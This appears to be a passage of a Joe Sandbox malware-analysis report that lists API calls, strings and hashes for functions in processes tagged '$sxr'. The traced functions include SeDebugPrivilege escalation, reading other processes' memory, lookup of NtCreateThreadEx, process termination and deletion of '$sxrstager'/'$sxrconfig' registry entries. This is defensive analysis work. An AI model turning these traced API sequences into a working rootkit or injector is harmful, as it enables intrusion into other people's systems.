Instruction ID: 3d675ad305f4b60011f01be8626d93db4cc1bf856ae9dff07d3c43f449315f3a
Opcode Fuzzy Hash: 4e7fa5f10fb8cdd189fffd301e3fa9d361a0630010e37bb7f0a8f0acf9fdffb8
Instruction Fuzzy Hash: 64112B32215F8082EB118F25E554799BBE5F78AB94F594221EF890B764EF3DC551C700

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDBD6FC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000001A00BDBD72D
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000001A00BDBD747

Strings

InitializeCriticalSectionEx, xrefs: 000001A00BDBD721

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: d3308de59f6175e246a4e58d0bead6ac7e88a58d51302341d1d8d46ecdfbdf17
Instruction ID: 7f9f02a454f7ca7b4f3d673a65f39ea951a329999e2fcda576414f18e675d86d
Opcode Fuzzy Hash: d3308de59f6175e246a4e58d0bead6ac7e88a58d51302341d1d8d46ecdfbdf17
Instruction Fuzzy Hash: 1DF09A35306F4191EA069F41A600BC9AA71AB8FBD0F498023F91A0BB14EF38C495CB02

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDBD6A8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000001A00BDBD6D1
TlsSetValue.KERNEL32 ref: 000001A00BDBD6E8

Strings

FlsSetValue, xrefs: 000001A00BDBD6BE

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: c57a0a8e4a9a5bd5c5ab42880a7d7ba481cf5cc2991d860fdde5879172b30074
Instruction ID: a76eeab8eba0c101ae519160217dba5dc58d499fc8658bd8a04a5c490138ca18
Opcode Fuzzy Hash: c57a0a8e4a9a5bd5c5ab42880a7d7ba481cf5cc2991d860fdde5879172b30074
Instruction Fuzzy Hash: 5BE06571306E0192FA075F55FA107D9E632B78F7C0F998027F9190E355EE38C455C602

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDB1D60 Relevance: 5.1, APIs: 4, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001A00BDB1D95
HeapAlloc.KERNEL32 ref: 000001A00BDB1DA4
GetProcessHeap.KERNEL32 ref: 000001A00BDB1E18
HeapFree.KERNEL32 ref: 000001A00BDB1E26

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 286b6d01e01d60a9c7311f258349b816b5eba68e569a770be06b8a5557e1329f
Instruction ID: b90c0be3292b4290cd22fe31e849e46e93c3ca14b6929f8396277a63c1af27cb
Opcode Fuzzy Hash: 286b6d01e01d60a9c7311f258349b816b5eba68e569a770be06b8a5557e1329f
Instruction Fuzzy Hash: 49219132716F80C5EA128F19E50079AF7A1FB8ABE4F054012EE8C5BB24FB78C442C700

Uniqueness

Uniqueness Score: -1.00%

Function 000001A00BDB1274 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001A00BDB127A
HeapAlloc.KERNEL32 ref: 000001A00BDB1289
GetProcessHeap.KERNEL32 ref: 000001A00BDB12A3
HeapAlloc.KERNEL32 ref: 000001A00BDB12B4

Memory Dump Source

Source File: 0000000D.00000002.2917564748.000001A00BDB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A00BDB0000, based on PE: true

Associated: 0000000D.00000002.2917564748.000001A00BDD5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1a00bdb0000_$sxr-mshta.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: d4b3fcfbe4be7c36cb8b6f9944163e5fe9bb7a40ebadcfb6d552ceb49718e017
Instruction ID: d6c94a215b51b18db14f0563b7663135afab6454f92611acca2e05b6b8ed55d4
Opcode Fuzzy Hash: d4b3fcfbe4be7c36cb8b6f9944163e5fe9bb7a40ebadcfb6d552ceb49718e017
Instruction Fuzzy Hash: C3E06D71702A059BF7058F62D804389BAE1FB8FFA1F49D028C9090B350EF7D8499CB45

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: dllhost.exePID: 5252, Parent PID: 7128COMMON

Execution Graph

Execution Coverage:	64.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	56
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0040133E Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00401348
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00401355
OpenProcessToken.ADVAPI32(00000000,00000028,?), ref: 00401368
LookupPrivilegeValueW.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 0040137C
AdjustTokenPrivileges.KERNELBASE(?,00000000,?,00000010,00000000,00000000), ref: 004013AC
GetLastError.KERNEL32 ref: 004013B6
FindCloseChangeNotification.KERNELBASE(00000000), ref: 004013C5

Strings

SeDebugPrivilege, xrefs: 00401376

Memory Dump Source

Source File: 0000000F.00000002.1927406646.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_dllhost.jbxd

Similarity

API ID: Process$OpenToken$AdjustChangeCloseCurrentErrorFindLastLookupNotificationPrivilegePrivilegesValue
String ID: SeDebugPrivilege
API String ID: 575374161-2896544425
Opcode ID: f0a33f7c903080f54f4a1dfe6a3c8c5db33aaa213762ad9be091dafd7757ca93
Instruction ID: e2a5f4244efd0fdb54eb2fb8bae3e68f4838b917bcc28da7506a6e19d6301c26
Opcode Fuzzy Hash: f0a33f7c903080f54f4a1dfe6a3c8c5db33aaa213762ad9be091dafd7757ca93
Instruction Fuzzy Hash: C101CC75901619AFE7009BA49E89BAF77BCEB04745F004435BA01F22D1D7B49E44CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00401081 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 140
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,00009C40,?,?,00000000), ref: 004010A4
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 004010B1
GetProcessHeap.KERNEL32(00000000,00009C40,?,?,00000000), ref: 004010BF
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 004010C6
K32EnumProcesses.KERNEL32(000003E8,00009C40,?,?,?,00000000), ref: 004010DB
OpenProcess.KERNEL32(00000410,00000000,000003E8,?,?,00000000), ref: 0040110A
K32EnumProcessModules.KERNEL32(00000000,?,00009C40,?,?,?,00000000), ref: 00401127
ReadProcessMemory.KERNEL32(00000000,?,?,00000200,00000000,?,?,00000000), ref: 0040115D
FindCloseChangeNotification.KERNELBASE(00000000,?,?,00000000), ref: 004011EB
GetProcessHeap.KERNEL32(00000000,000003E8,?,?,00000000), ref: 004011FF
HeapFree.KERNEL32(00000000,?,?,00000000), ref: 0040120C
GetProcessHeap.KERNEL32(00000000,?,?,?,00000000), ref: 00401212
RtlFreeHeap.NTDLL(00000000,?,?,00000000), ref: 00401219

Strings

pDt, xrefs: 0040115D

Memory Dump Source

Source File: 0000000F.00000002.1927406646.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_dllhost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFree$ChangeCloseFindMemoryModulesNotificationOpenProcessesRead
String ID: pDt
API String ID: 2178662837-1368317816
Opcode ID: 6f488189a1a7d797b470e7b51ae5cf9387d1cdd426fc30596596fbc8e91c7bf4
Instruction ID: da445f777c3a34a6d199b0584eba223951ce35d7d1b72319c39e632b78911c99
Opcode Fuzzy Hash: 6f488189a1a7d797b470e7b51ae5cf9387d1cdd426fc30596596fbc8e91c7bf4
Instruction Fuzzy Hash: 8A513075D00219ABDB14DFD5CE84AAFBBB8FF0D300F10446AE645BB290D7789A41CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004013D1 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 131
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32($sxrsvc32), ref: 004013E7
SysAllocString.OLEAUT32(00402114), ref: 004013F1
CoInitializeEx.OLE32(00000000,00000000), ref: 004013FA
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 00401414
CoCreateInstance.OLE32(00402098,00000000,00000001,00402088,?), ref: 0040143F
VariantInit.OLEAUT32(?), ref: 00401451
CoUninitialize.OLE32 ref: 004014DE
SysFreeString.OLEAUT32(?), ref: 004014F0
SysFreeString.OLEAUT32(00000000), ref: 004014F3

Strings

$sxrsvc32, xrefs: 004013E2

Memory Dump Source

Source File: 0000000F.00000002.1927406646.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_dllhost.jbxd

Similarity

API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
String ID: $sxrsvc32
API String ID: 4184240511-78464866
Opcode ID: 38db96cfb1d59210e069f34f99d5ef3867f18490da2d230adee7354f9f4af0ad
Instruction ID: 8a654483f6148525abe5e909ff2a9399e1f522979beb927b6318c92976265d17
Opcode Fuzzy Hash: 38db96cfb1d59210e069f34f99d5ef3867f18490da2d230adee7354f9f4af0ad
Instruction Fuzzy Hash: 55415271E00218AFDB00DFA9CD899AF7BBDEF45354B100069F905FB1A0C6B5AD05CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00401509 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 58
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040133E: GetCurrentProcessId.KERNEL32 ref: 00401348
Part of subcall function 0040133E: OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00401355
Part of subcall function 0040133E: OpenProcessToken.ADVAPI32(00000000,00000028,?), ref: 00401368
Part of subcall function 0040133E: LookupPrivilegeValueW.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 0040137C
Part of subcall function 0040133E: AdjustTokenPrivileges.KERNELBASE(?,00000000,?,00000010,00000000,00000000), ref: 004013AC
Part of subcall function 0040133E: GetLastError.KERNEL32 ref: 004013B6
Part of subcall function 0040133E: FindCloseChangeNotification.KERNELBASE(00000000), ref: 004013C5

RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE,00000000,000F023F,?,?,?,?,00401501), ref: 00401528
RegDeleteValueW.KERNELBASE(?,$sxrstager,?,?,?,00401501), ref: 0040153A
GetProcessHeap.KERNEL32(00000000,00003E80,?,?,?,?,00401501), ref: 00401552
HeapAlloc.KERNEL32(00000000,?,?,?,?,00401501), ref: 00401559
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,00401501), ref: 004015A0
RtlFreeHeap.NTDLL(00000000,?,?,?,?,00401501), ref: 004015A7

Strings

SOFTWARE, xrefs: 0040151E
$sxrstager, xrefs: 00401532

Memory Dump Source

Source File: 0000000F.00000002.1927406646.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_dllhost.jbxd

Similarity

API ID: Process$Heap$Open$TokenValue$AdjustAllocChangeCloseCurrentDeleteErrorFindFreeLastLookupNotificationPrivilegePrivileges
String ID: $sxrstager$SOFTWARE
API String ID: 2353213234-1606840681
Opcode ID: d6fe065efa0b92b2caeb308442f95c4532e4efd9946b2338f3fdf9202a6ba47c
Instruction ID: e2b15fd1bdb0af68db2fceded59578336af26d801dc78018de8527ed98e595ed
Opcode Fuzzy Hash: d6fe065efa0b92b2caeb308442f95c4532e4efd9946b2338f3fdf9202a6ba47c
Instruction Fuzzy Hash: B401A531B00310BBE7107BF59E4EB6F776D9B44705F00043AF706F62E2DAB89A418658

Uniqueness

Uniqueness Score: -1.00%

Function 00401292 Relevance: 10.6, APIs: 7, Instructions: 52
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,00003E80,?,?,?,0040154B,?,?,?,?,00401501), ref: 0040129E
HeapAlloc.KERNEL32(00000000,?,?,?,0040154B,?,?,?,?,00401501), ref: 004012A5

Part of subcall function 00401081: GetProcessHeap.KERNEL32(00000000,00009C40,?,?,00000000), ref: 004010A4
Part of subcall function 00401081: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 004010B1
Part of subcall function 00401081: GetProcessHeap.KERNEL32(00000000,00009C40,?,?,00000000), ref: 004010BF
Part of subcall function 00401081: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 004010C6
Part of subcall function 00401081: K32EnumProcesses.KERNEL32(000003E8,00009C40,?,?,?,00000000), ref: 004010DB
Part of subcall function 00401081: OpenProcess.KERNEL32(00000410,00000000,000003E8,?,?,00000000), ref: 0040110A
Part of subcall function 00401081: K32EnumProcessModules.KERNEL32(00000000,?,00009C40,?,?,?,00000000), ref: 00401127
Part of subcall function 00401081: ReadProcessMemory.KERNEL32(00000000,?,?,00000200,00000000,?,?,00000000), ref: 0040115D
Part of subcall function 00401081: FindCloseChangeNotification.KERNELBASE(00000000,?,?,00000000), ref: 004011EB
Part of subcall function 00401081: GetProcessHeap.KERNEL32(00000000,000003E8,?,?,00000000), ref: 004011FF
Part of subcall function 00401081: HeapFree.KERNEL32(00000000,?,?,00000000), ref: 0040120C

OpenProcess.KERNEL32(00000001,00000000,00000000,?,?,?,?,?,0040154B,?,?,?,?,00401501), ref: 004012E3
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,?,?,0040154B,?,?,?,?,00401501), ref: 004012F3
CloseHandle.KERNEL32(000003E8,?,?,?,?,?,0040154B,?,?,?,?,00401501), ref: 004012FC
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,0040154B,?,?,?,?,00401501), ref: 0040130F
RtlFreeHeap.NTDLL(00000000,?,?,?,0040154B,?,?,?,?,00401501), ref: 00401316

Memory Dump Source

Source File: 0000000F.00000002.1927406646.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_dllhost.jbxd

Similarity

API ID: HeapProcess$Alloc$CloseEnumFreeOpen$ChangeFindHandleMemoryModulesNotificationProcessesReadTerminate
String ID:
API String ID: 1088988999-0
Opcode ID: 757573c93e28f14fb1ba0b7102d0f3237b6072edb6f5997e5a0090194d86dbfe
Instruction ID: ab2b09c8b71ca9c99a709ec0924a6b803fad294693bd42ca56058f473aaebc13
Opcode Fuzzy Hash: 757573c93e28f14fb1ba0b7102d0f3237b6072edb6f5997e5a0090194d86dbfe
Instruction Fuzzy Hash: B601C071A00301ABEB116BE48F0DB5F77A8EB04712F144136EA05B22E1DBB88D40C768

Uniqueness

Uniqueness Score: -1.00%

Function 004014FC Relevance: 3.0, APIs: 2, Instructions: 3
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00401509: RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE,00000000,000F023F,?,?,?,?,00401501), ref: 00401528
Part of subcall function 00401509: RegDeleteValueW.KERNELBASE(?,$sxrstager,?,?,?,00401501), ref: 0040153A
Part of subcall function 00401509: GetProcessHeap.KERNEL32(00000000,00003E80,?,?,?,?,00401501), ref: 00401552
Part of subcall function 00401509: HeapAlloc.KERNEL32(00000000,?,?,?,?,00401501), ref: 00401559
Part of subcall function 00401509: GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,00401501), ref: 004015A0
Part of subcall function 00401509: RtlFreeHeap.NTDLL(00000000,?,?,?,?,00401501), ref: 004015A7

ExitProcess.KERNEL32 ref: 00401502

Memory Dump Source

Source File: 0000000F.00000002.1927406646.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_dllhost.jbxd

Similarity

API ID: Heap$Process$AllocDeleteExitFreeOpenValue
String ID:
API String ID: 3703222776-0
Opcode ID: a5779c28a6b8967d7da92993e240726da911757312e1828e8db22bb694370d56
Instruction ID: d57de1a7dd692de033d0a6d08cf0830a53249df09c6425f09644fba4c2c840d6
Opcode Fuzzy Hash: a5779c28a6b8967d7da92993e240726da911757312e1828e8db22bb694370d56
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00401000 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\$sxrconfig,00000000,000F013F,000003E8,?,00000000), ref: 00401022
RegDeleteKeyW.ADVAPI32(000003E8,?), ref: 00401038
RegEnumKeyExW.ADVAPI32(000003E8,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000), ref: 00401058
RegCloseKey.ADVAPI32(000003E8,?,00000000), ref: 00401065
RegDeleteKeyExW.ADVAPI32(80000002,SOFTWARE\$sxrconfig,000F013F,00000000,?,00000000), ref: 00401077

Strings

SOFTWARE\$sxrconfig, xrefs: 00401018, 0040106D

Memory Dump Source

Source File: 0000000F.00000002.1927406646.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_dllhost.jbxd

Similarity

API ID: Delete$CloseEnumOpen
String ID: SOFTWARE\$sxrconfig
API String ID: 3013565938-435319591
Opcode ID: 2528680542b238720625209ed60730b67297ede93f81eef034d8d6255c84281c
Instruction ID: d544ddb297f42690969b4a203d904ba38e423bc2ba9d9ccdcf6cbbeeb35745ab
Opcode Fuzzy Hash: 2528680542b238720625209ed60730b67297ede93f81eef034d8d6255c84281c
Instruction Fuzzy Hash: CD011271500288FBD7609B92DE4DEAB7ABCEBC5741F10007AB605F10A0DB745E44DA35

Uniqueness

Uniqueness Score: -1.00%

Function 0040131F Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 10
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,00401271,000003E8,001FFFFF,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00401593), ref: 00401324
GetProcAddress.KERNEL32(00000000,NtCreateThreadEx), ref: 00401334

Strings

NtCreateThreadEx, xrefs: 0040132E
ntdll.dll, xrefs: 0040131F

Memory Dump Source

Source File: 0000000F.00000002.1927406646.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_dllhost.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NtCreateThreadEx$ntdll.dll
API String ID: 1646373207-690569937
Opcode ID: 3bcd05d4379314f12e90f4ac3ba0850e69dab5ee5c9b3da2987142fd71515db8
Instruction ID: d003ae9fd3514cd023d1297aa5e823454f89fcb9fe9eff1a1c2077655f61d9ec
Opcode Fuzzy Hash: 3bcd05d4379314f12e90f4ac3ba0850e69dab5ee5c9b3da2987142fd71515db8
Instruction Fuzzy Hash: 63C09270B423009AEE102B715F0DF0B3A686A40B42B1448B3B609F05E4DAFCC484D52C

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: $sxr-cmd.exePID: 5820, Parent PID: 344COMMON

Execution Graph

Execution Coverage:	3.3%
Dynamic/Decrypted Code Coverage:	40.9%
Signature Coverage:	0%
Total number of Nodes:	88
Total number of Limit Nodes:	13

Executed Functions

Function 00007FF615500A6C Relevance: 53.1, APIs: 23, Strings: 7, Instructions: 605COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF615501EA0: wcschr.MSVCRT ref: 00007FF615501EB3

_wcsnicmp.MSVCRT ref: 00007FF615500AFE
memset.MSVCRT ref: 00007FF615500B37
wcschr.MSVCRT ref: 00007FF615500B91
wcsrchr.MSVCRT ref: 00007FF615500C14
wcsrchr.MSVCRT ref: 00007FF615500D79
NeedCurrentDirectoryForExePathW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-2-0 ref: 00007FF615500D9A
wcsrchr.MSVCRT ref: 00007FF615500FBB
wcschr.MSVCRT ref: 00007FF615500FD8
wcschr.MSVCRT ref: 00007FF615500FF3
_wcsicmp.MSVCRT ref: 00007FF615501091
_wcsicmp.MSVCRT ref: 00007FF6155010B1
wcsrchr.MSVCRT ref: 00007FF615501102
_wcsicmp.MSVCRT ref: 00007FF615501124
_wcsicmp.MSVCRT ref: 00007FF615501142
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF615501169

Strings

COMSPEC, xrefs: 00007FF61550D927
cmd , xrefs: 00007FF615500AF4
.BAT, xrefs: 00007FF615501087, 00007FF615501138
PATHEXT, xrefs: 00007FF615500E6E
.CMD, xrefs: 00007FF6155010A7, 00007FF61550111A
PATH, xrefs: 00007FF6155011D3
.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC, xrefs: 00007FF61550DA38

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: _wcsicmpwcschrwcsrchr$CurrentDirectoryNeedPath_wcsnicmpmemset
String ID: .BAT$.CMD$.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC$COMSPEC$PATH$PATHEXT$cmd
API String ID: 3305344409-4288247545
Opcode ID: 08bac76f509f6fd3fc69dc4d9486e559aed501487721408e7d77705ceb207560
Instruction ID: f83e602e50128556b9bf9fe6c6e1fdafb5d2944b68d106f594f012e56501c76f
Opcode Fuzzy Hash: 08bac76f509f6fd3fc69dc4d9486e559aed501487721408e7d77705ceb207560
Instruction Fuzzy Hash: 71429039A08E8285EB649B2198502B9F7A1EF85FB8F444236D95EC77F5DF3CE9458300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154FAA54 Relevance: 51.3, APIs: 24, Strings: 5, Instructions: 536
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6154FCD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6154FB9A1,?,?,?,?,00007FF6154FD81A), ref: 00007FF6154FCDA6
Part of subcall function 00007FF6154FCD90: RtlAllocateHeap.NTDLL(?,?,?,00007FF6154FB9A1,?,?,?,?,00007FF6154FD81A), ref: 00007FF6154FCDBD

wcschr.MSVCRT ref: 00007FF6154FAAB6
towlower.MSVCRT ref: 00007FF6154FAAD5
memset.MSVCRT ref: 00007FF6154FAC27
wcschr.MSVCRT ref: 00007FF6154FAC3C
wcschr.MSVCRT ref: 00007FF6154FAC60
wcsrchr.MSVCRT ref: 00007FF6154FAC9B
wcschr.MSVCRT ref: 00007FF6154FAD82
wcschr.MSVCRT ref: 00007FF6154FAD9D
wcschr.MSVCRT ref: 00007FF6154FADB8
wcschr.MSVCRT ref: 00007FF6154FADD3
wcschr.MSVCRT ref: 00007FF6154FADEE
wcschr.MSVCRT ref: 00007FF6154FAE09
iswspace.MSVCRT ref: 00007FF6154FAE30

Strings

:, xrefs: 00007FF61550BC26
:, xrefs: 00007FF61550BCFE
:, xrefs: 00007FF61550BC86
OFF, xrefs: 00007FF61550BC32, 00007FF61550BC92, 00007FF61550BD0A
:ON, xrefs: 00007FF61550BD37

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: wcschr$Heap$AllocateProcessiswspacememsettowlowerwcsrchr
String ID: :$:$:$:ON$OFF
API String ID: 4076514806-467788257
Opcode ID: a6a58be8637e266a7619168a34d09a9f7236abb5197162b465aafe4d5ad54b4e
Instruction ID: d146bf741067b64ba0c05be071ec1723fe97f07d8b27d4e954a48ff26c839962
Opcode Fuzzy Hash: a6a58be8637e266a7619168a34d09a9f7236abb5197162b465aafe4d5ad54b4e
Instruction Fuzzy Hash: BB22C529A08E43C6EB549F299454279E6A1EF49FB4F498036CA0EC77B5DF7CAC44C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6155051EC Relevance: 45.9, APIs: 15, Strings: 11, Instructions: 384
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF615505508: GetUserDefaultLangID.KERNELBASE(?,?,?,?,00007FF6154F6F97), ref: 00007FF61550550C

GetLocaleInfoW.KERNELBASE ref: 00007FF615505237
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF615505260
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF6155052AB
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF6155052F7
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF615505335
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF615505360
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF615505388
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF6155053B0
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF6155053D8
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF615505400
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF615505428
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF615505450
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF615505478
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF6155054A0
setlocale.MSVCRT ref: 00007FF6155054BD

Strings

Thu, xrefs: 00007FF61550F0BB
Mon, xrefs: 00007FF61550EFF2
Fri, xrefs: 00007FF61550F0FE
Sat, xrefs: 00007FF61550F141
Wed, xrefs: 00007FF61550F078
Tue, xrefs: 00007FF61550F035
.OCP, xrefs: 00007FF6155054B4
MM/dd/yy, xrefs: 00007FF6155052D0
yy/MM/dd, xrefs: 00007FF61550EF8D
dd/MM/yy, xrefs: 00007FF61550EFA3
Sun, xrefs: 00007FF61550F184

Memory Dump Source
